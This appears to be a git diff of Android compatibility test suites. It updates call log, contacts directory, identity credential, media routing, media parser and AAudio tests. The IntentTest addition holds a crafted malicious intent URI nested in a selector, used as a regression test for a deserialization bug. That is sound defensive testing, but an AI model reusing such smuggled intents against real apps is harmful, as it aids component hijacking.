+        Uri uri = mContentResolver.insert(CallLog.Calls.CONTENT_URI, values);
+
+        CountDownLatch changeLatch = new CountDownLatch(1);
+        mContentResolver.registerContentObserver(
+                CallLog.Calls.CONTENT_URI, true,
+                new ContentObserver(null /* handler */) {
+                    @Override
+                    public void onChange(boolean selfChange, Uri uri) {
+                        mContentResolver.unregisterContentObserver(this);
+                        changeLatch.countDown();
+                        super.onChange(selfChange);
+                    }
+                });
+
+        // Update it!
+        values.put(CallLog.Calls.DURATION, Long.valueOf(6 /*call duration*/));
+        int numUpdated = mContentResolver.update(uri, values, null, null);
+        assertEquals(1, numUpdated);
+        try {
+            assertTrue(changeLatch.await(TIME_OUT_MILLIS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+            fail("Expected update notification.");
+        }
+    }
+
+    public void testDelete() throws Exception {
+        // Add a single call just to make sure the call log has something inside
+        ContentValues values = new ContentValues();
+        values.put(CallLog.Calls.NUMBER, TEST_NUMBER);
+        values.put(CallLog.Calls.TYPE, Calls.OUTGOING_TYPE);
+        values.put(CallLog.Calls.DATE, Long.valueOf(0 /*start time*/));
+        values.put(CallLog.Calls.DURATION, Long.valueOf(5 /*call duration*/));
+        Uri uri = mContentResolver.insert(CallLog.Calls.CONTENT_URI, values);
+
+        CountDownLatch changeLatch = new CountDownLatch(1);
+        mContentResolver.registerContentObserver(
+                CallLog.Calls.CONTENT_URI, true,
+                new ContentObserver(null /* handler */) {
+                    @Override
+                    public void onChange(boolean selfChange, Uri uri) {
+                        mContentResolver.unregisterContentObserver(this);
+                        changeLatch.countDown();
+                        super.onChange(selfChange);
+                    }
+                });
+
+        // Delete it.
+        // Yuck, you can't just delete using the uri passed in; you need to build a where clause.
+        int count = mContentResolver.delete(Calls.CONTENT_URI, Calls._ID + "="
+                + ContentUris.parseId(uri), null);
+        assertEquals(1, count);
+        try {
+            assertTrue(changeLatch.await(TIME_OUT_MILLIS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+            fail("Expected update notification.");
+        }
+    }
+}
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DirectoryTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DirectoryTest.java
index c3706d3..d800206 100644
--- a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DirectoryTest.java
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DirectoryTest.java
@@ -18,6 +18,7 @@
 import android.accounts.Account;
 import android.accounts.AccountManager;
 import android.content.ContentResolver;
+import android.content.pm.PackageManager.NameNotFoundException;
 import android.database.Cursor;
 import android.database.DatabaseUtils;
 import android.net.Uri;
@@ -25,8 +26,9 @@
 import android.provider.ContactsContract;
 import android.provider.ContactsContract.Contacts;
 import android.provider.ContactsContract.Directory;
-import android.provider.cts.contacts.DummyGalProvider;
+import android.provider.cts.contacts.galprovider.CtsGalProvider;
 import android.test.AndroidTestCase;
+import android.util.Log;
 
 import org.json.JSONObject;
 
@@ -36,6 +38,8 @@
  * the check in there, so it won't create the account multiple times.
  */
 public class ContactsContract_DirectoryTest extends AndroidTestCase {
+    private static final String TAG = "ContactsContract_DirectoryTest";
+
     private ContentResolver mResolver;
     private AccountManager mAccountManager;
     private Account mAccount;
@@ -49,7 +53,7 @@
         mResolver = getContext().getContentResolver();
 
         mAccountManager = getContext().getSystemService(AccountManager.class);
-        mAccount = new Account(DummyGalProvider.ACCOUNT_NAME, DummyGalProvider.ACCOUNT_TYPE);
+        mAccount = new Account(CtsGalProvider.ACCOUNT_NAME, CtsGalProvider.ACCOUNT_TYPE);
 
         // The directory table is populated asynchronously.  Wait for it...
         waitForDirectorySetup();
@@ -75,19 +79,19 @@
         while (SystemClock.elapsedRealtime() < timeout) {
             try (Cursor c = getContext().getContentResolver().query(Directory.CONTENT_URI,
                     null, Directory.ACCOUNT_NAME + "=? and " + Directory.ACCOUNT_TYPE + "=?",
-                    new String[]{DummyGalProvider.ACCOUNT_NAME, DummyGalProvider.ACCOUNT_TYPE},
+                    new String[]{CtsGalProvider.ACCOUNT_NAME, CtsGalProvider.ACCOUNT_TYPE},
                     null)) {
                 if (c.getCount() == 0) {
                     Thread.sleep(1000);
                     continue;
                 }
                 assertTrue(c.moveToPosition(0));
-                assertEquals(getContext().getPackageName(), getString(c, Directory.PACKAGE_NAME));
-                assertEquals(DummyGalProvider.AUTHORITY,
+                assertEquals(CtsGalProvider.GAL_PACKAGE_NAME, getString(c, Directory.PACKAGE_NAME));
+                assertEquals(CtsGalProvider.AUTHORITY,
                         getString(c, Directory.DIRECTORY_AUTHORITY));
-                assertEquals(DummyGalProvider.DISPLAY_NAME, getString(c, Directory.DISPLAY_NAME));
-                assertEquals(DummyGalProvider.ACCOUNT_NAME, getString(c, Directory.ACCOUNT_NAME));
-                assertEquals(DummyGalProvider.ACCOUNT_TYPE, getString(c, Directory.ACCOUNT_TYPE));
+                assertEquals(CtsGalProvider.DISPLAY_NAME, getString(c, Directory.DISPLAY_NAME));
+                assertEquals(CtsGalProvider.ACCOUNT_NAME, getString(c, Directory.ACCOUNT_NAME));
+                assertEquals(CtsGalProvider.ACCOUNT_TYPE, getString(c, Directory.ACCOUNT_TYPE));
                 return c.getLong(c.getColumnIndex(Directory._ID));
             }
         }
@@ -127,14 +131,28 @@
             // The result is stored in the display_name column.
             final JSONObject result = new JSONObject(getString(c, Contacts.DISPLAY_NAME));
 
-            if (result.has(DummyGalProvider.ERROR_MESSAGE_KEY)) {
-                fail(result.getString(DummyGalProvider.ERROR_MESSAGE_KEY));
+            if (result.has(CtsGalProvider.ERROR_MESSAGE_KEY)) {
+                fail(result.getString(CtsGalProvider.ERROR_MESSAGE_KEY));
             }
 
-            assertEquals("12", result.getString(DummyGalProvider.LIMIT_KEY));
-            assertEquals("[QUERY]", result.getString(DummyGalProvider.QUERY_KEY));
+            assertEquals("12", result.getString(CtsGalProvider.LIMIT_KEY));
+            assertEquals("[QUERY]", result.getString(CtsGalProvider.QUERY_KEY));
             assertEquals(getContext().getPackageName(),
-                    result.getString(DummyGalProvider.CALLER_PACKAGE_NAME_KEY));
+                    result.getString(CtsGalProvider.CALLER_PACKAGE_NAME_KEY));
+        }
+
+        // After getting any result from the gal provider, the package will become visible.
+        assertTrue("GAL provider should be visible here", isGalProviderVisible());
+    }
+
+    private boolean isGalProviderVisible() {
+        try {
+            String pkg = CtsGalProvider.GAL_PACKAGE_NAME;
+            int uid = getContext().getPackageManager().getPackageUid(pkg, 0);
+            Log.w(TAG, "UID of " + pkg + " = " + uid);
+            return true;
+        } catch (NameNotFoundException e) {
+            return false;
         }
     }
 }
diff --git a/tests/tests/content/src/android/content/cts/IntentTest.java b/tests/tests/content/src/android/content/cts/IntentTest.java
index c76a0fb..f085e29 100644
--- a/tests/tests/content/src/android/content/cts/IntentTest.java
+++ b/tests/tests/content/src/android/content/cts/IntentTest.java
@@ -16,6 +16,8 @@
 
 package android.content.cts;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import org.xmlpull.v1.XmlPullParser;
 import org.xmlpull.v1.XmlPullParserException;
 
@@ -1885,6 +1887,49 @@
         assertSame(dummyParcelable, origSubExtras.get("baddy"));
     }
 
+    public void testEncoding() throws URISyntaxException {
+        // This doesn't validate setPackage, as it's not possible to have both an explicit package
+        // and a selector but the inner selector Intent later on will cover setPackage
+        Intent intent = new Intent("action#base")
+                .setClassName("com.example.test.app", "com.example.test.app.IntendedActivity")
+                .addCategory("category#base")
+                .setType("type#base")
+                .setIdentifier("identifier#base")
+                .setComponent(ComponentName.createRelative("package.sub#base", ".Class#Base"))
+                .putExtra("extraKey#base", "extraValue#base");
+
+        // Insert malicious scheme to be encoded to avoid deserialization errors (b/261858325)
+        Uri badUri = Uri.fromParts(new Intent()
+                        .setClassName("com.example.malicious.app",
+                                "com.example.malicious.app.MaliciousActivity")
+                        .toUri(Intent.URI_INTENT_SCHEME),
+                "", null);
+        Intent selectorIntent = new Intent().setData(badUri)
+                .addCategory("category#selector")
+                .setType("type#selector")
+                .setIdentifier("identifier#selector")
+                .setPackage("package#selector")
+                .setComponent(
+                        ComponentName.createRelative("package.sub#selector", ".Class#Selector"))
+                .putExtra("extraKey#selector", "extraValue#selector");
+        intent.setSelector(selectorIntent);
+
+        String uriString = intent.toUri(Intent.URI_INTENT_SCHEME);
+        Intent deserialized = Intent.parseUri(uriString, Intent.URI_INTENT_SCHEME);
+
+        assertThat(uriString).isEqualTo(
+                "intent:#Intent;action=action%23base;category=category%23base;type=type%23base;"
+                        + "identifier=identifier%23base;component=package.sub%23base/"
+                        + ".Class%23Base;S.extraKey%23base=extraValue%23base;SEL;"
+                        + "category=category%23selector;type=type%23selector;"
+                        + "identifier=identifier%23selector;package=package%23selector;"
+                        + "component=package.sub%23selector/.Class%23Selector;S"
+                        + ".extraKey%23selector=extraValue%23selector;end");
+
+        assertThat(deserialized.toInsecureString())
+                .isEqualTo(intent.toInsecureString());
+    }
+
     private static class TestSerializable implements Serializable {
         static final long serialVersionUID = 1l;
         public String Name;
diff --git a/tests/tests/identity/src/android/security/identity/cts/AttestationTest.java b/tests/tests/identity/src/android/security/identity/cts/AttestationTest.java
index 06ae8ab..c63b793 100644
--- a/tests/tests/identity/src/android/security/identity/cts/AttestationTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/AttestationTest.java
@@ -102,16 +102,6 @@
         // Since we cannot get the implementation name or author at this layer, we can't test for
         // it. This can be tested for in the VTS test, however.
 
-        // As per the IC HAL, the keymasterVersion field should be the version of the Identity
-        // Credential HAL - 1.0 - and this is encoded as major*10 + minor. This field is used by
-        // Keymaster which is known to report integers less than or equal to 4 (for KM up to 4.0)
-        // and integers greater or equal than 41 (for KM starting with 4.1).
-        //
-        // Since we won't get to version 4.0 of the IC HAL for a while, let's also check that a KM
-        // version isn't errornously returned.
-        assertTrue(record.getKeymasterVersion() >= 10);
-        assertTrue(record.getKeymasterVersion() < 40);
-
         // Check that the challenge we passed in, is in fact in the attestation record.
         assertArrayEquals(challenge, record.getAttestationChallenge());
 
diff --git a/tests/tests/identity/src/android/security/identity/cts/Util.java b/tests/tests/identity/src/android/security/identity/cts/Util.java
index df9a300..bbd6ee7 100644
--- a/tests/tests/identity/src/android/security/identity/cts/Util.java
+++ b/tests/tests/identity/src/android/security/identity/cts/Util.java
@@ -37,6 +37,7 @@
 import java.security.KeyStore;
 import java.security.KeyPair;
 import java.security.KeyPairGenerator;
+import java.security.MessageDigest;
 import java.security.NoSuchAlgorithmException;
 import java.security.PublicKey;
 import java.security.PrivateKey;
@@ -1002,15 +1003,10 @@
 
             byte[] sessionTranscriptBytes =
                     Util.prependSemanticTagForEncodedCbor(encodedSessionTranscript);
-            byte[] sharedSecretWithSessionTranscriptBytes =
-                    Util.concatArrays(sharedSecret, sessionTranscriptBytes);
 
-            byte[] salt = new byte[1];
-            byte[] info = new byte[0];
-
-            salt[0] = 0x00;
-            byte[] derivedKey = Util.computeHkdf("HmacSha256",
-                    sharedSecretWithSessionTranscriptBytes, salt, info, 32);
+            byte[] salt = MessageDigest.getInstance("SHA-256").digest(sessionTranscriptBytes);
+            byte[] info = new byte[] {'E', 'M', 'a', 'c', 'K', 'e', 'y'};
+            byte[] derivedKey = Util.computeHkdf("HmacSha256", sharedSecret, salt, info, 32);
             SecretKey secretKey = new SecretKeySpec(derivedKey, "");
             return secretKey;
         } catch (InvalidKeyException
diff --git a/tests/tests/media/AndroidManifest.xml b/tests/tests/media/AndroidManifest.xml
index e316b4d..c24f26b 100644
--- a/tests/tests/media/AndroidManifest.xml
+++ b/tests/tests/media/AndroidManifest.xml
@@ -123,6 +123,7 @@
             </intent-filter>
         </activity>
         <activity android:name="android.media.cts.MockActivity" />
+        <activity android:name="android.media.cts.MediaRouter2TestActivity" />
         <service android:name="android.media.cts.RemoteVirtualDisplayService"
             android:process=":remoteService" >
             <intent-filter>
diff --git a/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java b/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java
index 271db7d..0a75047 100644
--- a/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java
@@ -74,6 +74,7 @@
     Context mContext;
     private MediaRouter2 mRouter2;
     private Executor mExecutor;
+    private RouteCallback mRouterDummyCallback = new RouteCallback(){};
     private StubMediaRoute2ProviderService mService;
 
     private static final int TIMEOUT_MS = 5000;
@@ -91,6 +92,16 @@
         mRouter2 = MediaRouter2.getInstance(mContext);
         mExecutor = Executors.newSingleThreadExecutor();
 
+        MediaRouter2TestActivity.startActivity(mContext);
+
+        // In order to make the system bind to the test service,
+        // set a non-empty discovery preference while app is in foreground.
+        List<String> features = new ArrayList<>();
+        features.add("A test feature");
+        RouteDiscoveryPreference preference =
+                new RouteDiscoveryPreference.Builder(features, false).build();
+        mRouter2.registerRouteCallback(mExecutor, mRouterDummyCallback, preference);
+
         new PollingCheck(TIMEOUT_MS) {
             @Override
             protected boolean check() {
@@ -107,6 +118,8 @@
 
     @After
     public void tearDown() throws Exception {
+        mRouter2.unregisterRouteCallback(mRouterDummyCallback);
+        MediaRouter2TestActivity.finishActivity();
         if (mService != null) {
             mService.clear();
             mService = null;
diff --git a/tests/tests/media/src/android/media/cts/MediaRouter2Test.java b/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
index 48466d5..07136d6 100644
--- a/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
@@ -82,6 +82,7 @@
     private MediaRouter2 mRouter2;
     private Executor mExecutor;
     private AudioManager mAudioManager;
+    private RouteCallback mRouterDummyCallback = new RouteCallback(){};
     private StubMediaRoute2ProviderService mService;
 
     private static final int TIMEOUT_MS = 5000;
@@ -102,6 +103,16 @@
         mExecutor = Executors.newSingleThreadExecutor();
         mAudioManager = (AudioManager) mContext.getSystemService(AUDIO_SERVICE);
 
+        MediaRouter2TestActivity.startActivity(mContext);
+
+        // In order to make the system bind to the test service,
+        // set a non-empty discovery preference while app is in foreground.
+        List<String> features = new ArrayList<>();
+        features.add("A test feature");
+        RouteDiscoveryPreference preference =
+                new RouteDiscoveryPreference.Builder(features, false).build();
+        mRouter2.registerRouteCallback(mExecutor, mRouterDummyCallback, preference);
+
         new PollingCheck(TIMEOUT_MS) {
             @Override
             protected boolean check() {
@@ -120,6 +131,8 @@
 
     @After
     public void tearDown() throws Exception {
+        mRouter2.unregisterRouteCallback(mRouterDummyCallback);
+        MediaRouter2TestActivity.finishActivity();
         if (mService != null) {
             mService.clear();
             mService = null;
diff --git a/tests/tests/media/src/android/media/cts/MediaRouter2TestActivity.java b/tests/tests/media/src/android/media/cts/MediaRouter2TestActivity.java
new file mode 100644
index 0000000..e0ba399
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaRouter2TestActivity.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+import androidx.test.core.app.ActivityScenario;
+
+public class MediaRouter2TestActivity extends Activity {
+
+    private static ActivityScenario<MediaRouter2TestActivity> sActivityScenario;
+
+    public static ActivityScenario<MediaRouter2TestActivity> startActivity(Context context) {
+        Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.setClass(context, MediaRouter2TestActivity.class);
+        sActivityScenario = ActivityScenario.launch(intent);
+        return sActivityScenario;
+    }
+
+    public static void finishActivity() {
+        if (sActivityScenario != null) {
+            // TODO: Sometimes calling this takes about 5 seconds. Need to figure out why.
+            sActivityScenario.close();
+            sActivityScenario = null;
+        }
+    }
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setTurnScreenOn(true);
+        setShowWhenLocked(true);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+    }
+}
diff --git a/tests/tests/mediaparser/Android.bp b/tests/tests/mediaparser/Android.bp
index 6a13d24..13859a77 100644
--- a/tests/tests/mediaparser/Android.bp
+++ b/tests/tests/mediaparser/Android.bp
@@ -14,25 +14,33 @@
 
 android_test {
     name: "CtsMediaParserTestCases",
-    defaults: ["cts_defaults"],
+    defaults: ["CtsMediaParserTestCasesDefaults", "cts_defaults"],
+    min_sdk_version: "29",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+    ],
+}
+
+// App for host-side testing of the MediaParser integration with MediaMetrics.
+android_test_helper_app {
+    name: "CtsMediaParserTestCasesApp",
+    defaults: ["CtsMediaParserTestCasesDefaults"],
+}
+
+java_defaults {
+    name: "CtsMediaParserTestCasesDefaults",
+    srcs: ["src/**/*.java"],
     static_libs: [
         "ctstestrunner-axt",
         "androidx.test.ext.junit",
         "exoplayer2-extractor-test-utils",
         "exoplayer2-extractor-tests-assets",
     ],
-    srcs: ["src/**/*.java"],
-    sdk_version: "test_current",
-    min_sdk_version: "29",
     libs: [
         "android.test.base.stubs",
         "android.test.runner.stubs",
     ],
-
-    test_suites: [
-        "cts",
-        "vts10",
-        "general-tests",
-        "mts",
-    ],
+    sdk_version: "test_current",
 }
diff --git a/tests/tests/mediaparser/TEST_MAPPING b/tests/tests/mediaparser/TEST_MAPPING
index ec2d2e2..3d21914 100644
--- a/tests/tests/mediaparser/TEST_MAPPING
+++ b/tests/tests/mediaparser/TEST_MAPPING
@@ -2,6 +2,9 @@
   "presubmit": [
     {
       "name": "CtsMediaParserTestCases"
+    },
+    {
+      "name": "CtsMediaParserHostTestCases"
     }
   ]
 }
diff --git a/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java b/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
index 40ddad9..145ac99 100644
--- a/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
+++ b/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
@@ -673,42 +673,44 @@
             mediaParser.setParameter(entry.getKey(), entry.getValue());
         }
 
-        mediaParser.advance(inputReader);
-        if (expectedParserName != null) {
-            assertThat(expectedParserName).isEqualTo(mediaParser.getParserName());
-            // We are only checking that the extractor is the right one.
-            mediaParser.release();
-            return;
-        }
+        try {
+            mediaParser.advance(inputReader);
+            if (expectedParserName != null) {
+                assertThat(expectedParserName).isEqualTo(mediaParser.getParserName());
+                // We are only checking that the extractor is the right one.
+                return;
+            }
 
-        while (mediaParser.advance(inputReader)) {
-            // Do nothing.
-        }
+            while (mediaParser.advance(inputReader)) {
+                // Do nothing.
+            }
 
-        // If the SeekMap is seekable, test seeking in the stream.
-        MediaParser.SeekMap seekMap = outputConsumer.getSeekMap();
-        assertThat(seekMap).isNotNull();
-        if (seekMap.isSeekable()) {
-            long durationUs = seekMap.getDurationMicros();
-            for (int j = 0; j < 4; j++) {
-                outputConsumer.clearTrackOutputs();
-                long timeUs =
-                        durationUs == MediaParser.SeekMap.UNKNOWN_DURATION
-                                ? 0
-                                : (durationUs * j) / 3;
-                MediaParser.SeekPoint seekPoint = seekMap.getSeekPoints(timeUs).first;
-                inputReader.reset();
-                inputReader.setPosition((int) seekPoint.position);
-                mediaParser.seek(seekPoint);
-                while (mediaParser.advance(inputReader)) {
-                    // Do nothing.
-                }
-                if (durationUs == MediaParser.SeekMap.UNKNOWN_DURATION) {
-                    break;
+            // If the SeekMap is seekable, test seeking in the stream.
+            MediaParser.SeekMap seekMap = outputConsumer.getSeekMap();
+            assertThat(seekMap).isNotNull();
+            if (seekMap.isSeekable()) {
+                long durationUs = seekMap.getDurationMicros();
+                for (int j = 0; j < 4; j++) {
+                    outputConsumer.clearTrackOutputs();
+                    long timeUs =
+                            durationUs == MediaParser.SeekMap.UNKNOWN_DURATION
+                                    ? 0
+                                    : (durationUs * j) / 3;
+                    MediaParser.SeekPoint seekPoint = seekMap.getSeekPoints(timeUs).first;
+                    inputReader.reset();
+                    inputReader.setPosition((int) seekPoint.position);
+                    mediaParser.seek(seekPoint);
+                    while (mediaParser.advance(inputReader)) {
+                        // Do nothing.
+                    }
+                    if (durationUs == MediaParser.SeekMap.UNKNOWN_DURATION) {
+                        break;
+                    }
                 }
             }
+        } finally {
+            mediaParser.release();
         }
-        mediaParser.release();
     }
 
     private static MockMediaParserInputReader getInputReader(String assetPath) throws IOException {
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
index 88e6b68..9f414b6 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
@@ -48,6 +48,53 @@
     const StreamBuilderHelper::Parameters& actual() const { return mHelper->actual(); }
     int32_t framesPerBurst() const { return mHelper->framesPerBurst(); }
 
+    // This checks for expected behavior after a stream has been released.
+    void checkCallsAfterRelease() {
+        // We expect these not to crash.
+        AAudioStream_setBufferSizeInFrames(stream(), 0);
+        AAudioStream_setBufferSizeInFrames(stream(), 99999999);
+
+        // We should NOT be able to start or change a stream after it has been released.
+        EXPECT_EQ(AAUDIO_ERROR_INVALID_STATE,
+                  AAudioStream_requestStart(stream()));
+        EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, AAudioStream_getState(stream()));
+        // Pause is only implemented for OUTPUT.
+        if (AAudioStream_getDirection(stream()) == AAUDIO_DIRECTION_OUTPUT) {
+            EXPECT_EQ(AAUDIO_ERROR_INVALID_STATE,
+                      AAudioStream_requestPause(stream()));
+        }
+        EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, AAudioStream_getState(stream()));
+        EXPECT_EQ(AAUDIO_ERROR_INVALID_STATE,
+                  AAudioStream_requestStop(stream()));
+        EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, AAudioStream_getState(stream()));
+
+        // Do these return positive integers?
+        // Frames read or written may be zero if the stream has not had time to advance.
+        EXPECT_GE(AAudioStream_getFramesRead(stream()), 0);
+        EXPECT_GE(AAudioStream_getFramesWritten(stream()), 0);
+        EXPECT_GT(AAudioStream_getFramesPerBurst(stream()), 0);
+        EXPECT_GE(AAudioStream_getXRunCount(stream()), 0);
+        EXPECT_GT(AAudioStream_getBufferCapacityInFrames(stream()), 0);
+        EXPECT_GT(AAudioStream_getBufferSizeInFrames(stream()), 0);
+
+        int64_t timestampFrames = 0;
+        int64_t timestampNanos = 0;
+        aaudio_result_t result = AAudioStream_getTimestamp(stream(), CLOCK_MONOTONIC,
+                                           &timestampFrames, &timestampNanos);
+        EXPECT_TRUE(result == AAUDIO_ERROR_INVALID_STATE
+                        || result == AAUDIO_ERROR_UNIMPLEMENTED
+                        || result == AAUDIO_OK
+                        );
+
+        // Verify Closing State. Does this crash?
+        aaudio_stream_state_t state = AAUDIO_STREAM_STATE_UNKNOWN;
+        EXPECT_EQ(AAUDIO_OK, AAudioStream_waitForStateChange(stream(),
+                                                             AAUDIO_STREAM_STATE_UNKNOWN,
+                                                             &state,
+                                                             500 * NANOS_PER_MILLISECOND));
+        EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, state);
+    }
+
     std::unique_ptr<T> mHelper;
     bool mSetupSuccessful = false;
     std::unique_ptr<int16_t[]> mData;
@@ -171,6 +218,9 @@
       aaudio_stream_state_t state = AAudioStream_getState(stream());
       EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, state);
     }
+
+    checkCallsAfterRelease();
+
 }
 
 INSTANTIATE_TEST_CASE_P(SPM, AAudioInputStreamTest,
@@ -376,11 +426,16 @@
     if (!mSetupSuccessful) return;
 
     mHelper->startStream();
-    aaudio_result_t result = AAudioStream_write(
-            stream(), &mData[0], framesPerBurst(),
-            DEFAULT_READ_TIMEOUT);
-    ASSERT_GT(result, 0);
+    // Write a few times so the device has time to read some of the data
+    // and maybe advance the framesRead.
+    for (int i = 0; i < 3; i++) {
+        aaudio_result_t result = AAudioStream_write(
+                stream(), &mData[0], framesPerBurst(),
+                DEFAULT_READ_TIMEOUT);
+        ASSERT_GT(result, 0);
+    }
     mHelper->stopStream();
+    EXPECT_GE(AAudioStream_getFramesRead(stream()), 0);
 
     // It should be safe to release multiple times.
     for (int i = 0; i < 3; i++) {
@@ -388,6 +443,9 @@
       aaudio_stream_state_t state = AAudioStream_getState(stream());
       EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, state);
     }
+
+    checkCallsAfterRelease();
+
 }
 
 // Note that the test for EXCLUSIVE sharing mode may fail gracefully if
diff --git a/tests/tests/os/CtsOsTestCases.xml b/tests/tests/os/CtsOsTestCases.xml
index 72902e68..7eef73e 100644
--- a/tests/tests/os/CtsOsTestCases.xml
+++ b/tests/tests/os/CtsOsTestCases.xml
@@ -27,6 +27,14 @@
         <option name="force-install-mode" value="FULL"/>
         <option name="test-file-name" value="CtsMockInputMethod.apk" />
     </target_preparer>
+    <!-- Load additional APKs onto device -->
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="CtsAutoRevokeDummyApp.apk->/data/local/tmp/cts/os/CtsAutoRevokeDummyApp.apk" />
+        <option name="push" value="CtsAutoRevokePreRApp.apk->/data/local/tmp/cts/os/CtsAutoRevokePreRApp.apk" />
+    </target_preparer>
+
+    <!-- Note that DeviceSetup roots the device without unrooting it -->
+    <!-- Don't push any files after this block b/256250427 -->
     <target_preparer class="com.android.tradefed.targetprep.DeviceSetup">
         <option name="force-skip-system-props" value="true" />
         <option name="screen-always-on" value="on" />
@@ -42,10 +50,4 @@
         <option name="hidden-api-checks" value="false" />
         -->
     </test>
-
-    <!-- Load additional APKs onto device -->
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="CtsAutoRevokeDummyApp.apk->/data/local/tmp/cts/os/CtsAutoRevokeDummyApp.apk" />
-        <option name="push" value="CtsAutoRevokePreRApp.apk->/data/local/tmp/cts/os/CtsAutoRevokePreRApp.apk" />
-    </target_preparer>
 </configuration>
diff --git a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp
new file mode 100644
index 0000000..a5e2fd3
--- /dev/null
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsSelfUninstallingTestApp",
+    defaults: ["cts_defaults"],
+
+    sdk_version: "current",
+
+    srcs: ["src/**/*.java"],
+
+    static_libs: [
+        "androidx.core_core",
+    ],
+
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/AndroidManifest.xml b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..87dc715
--- /dev/null
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.packageinstaller.selfuninstalling.cts" >
+
+    <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES" />
+
+    <application android:label="Self Uninstalling Test App">
+        <activity android:name=".SelfUninstallActivity"
+                  android:exported="true" />
+    </application>
+
+</manifest>
diff --git a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/res/layout/self_uninstalling_activity.xml b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/res/layout/self_uninstalling_activity.xml
new file mode 100644
index 0000000..ac0fb40
--- /dev/null
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/res/layout/self_uninstalling_activity.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
